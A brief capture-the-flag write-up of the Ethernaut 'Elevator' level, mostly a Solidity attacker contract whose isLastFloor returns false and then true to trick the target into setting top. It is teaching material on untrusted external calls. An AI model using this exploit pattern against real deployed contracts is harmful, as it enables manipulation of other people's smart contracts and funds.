Ethernaut Puzzle 11 Elevator

This challenge requires us to change the value of top in the contract to true. By reading the logic of the goTo function, we are expected to implement the Building contract ourselves and ensure that the first call to isLastFloor returns false, and the second call returns true.

It is actually not difficult to implement this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


interface IElevator {
function goTo(uint _floor) external;
}

contract Building {
IElevator public elevator;
bool public switchFlipped = false;

constructor(address _targetAddr) public {
elevator = IElevator(_targetAddr);
}
function hack() public {
elevator.goTo(1);
}

function isLastFloor(uint) public returns (bool) {
// first call
if (! switchFlipped) {
switchFlipped = true;
return false;
// second call
} else {
switchFlipped = false;
return true;
}
}
}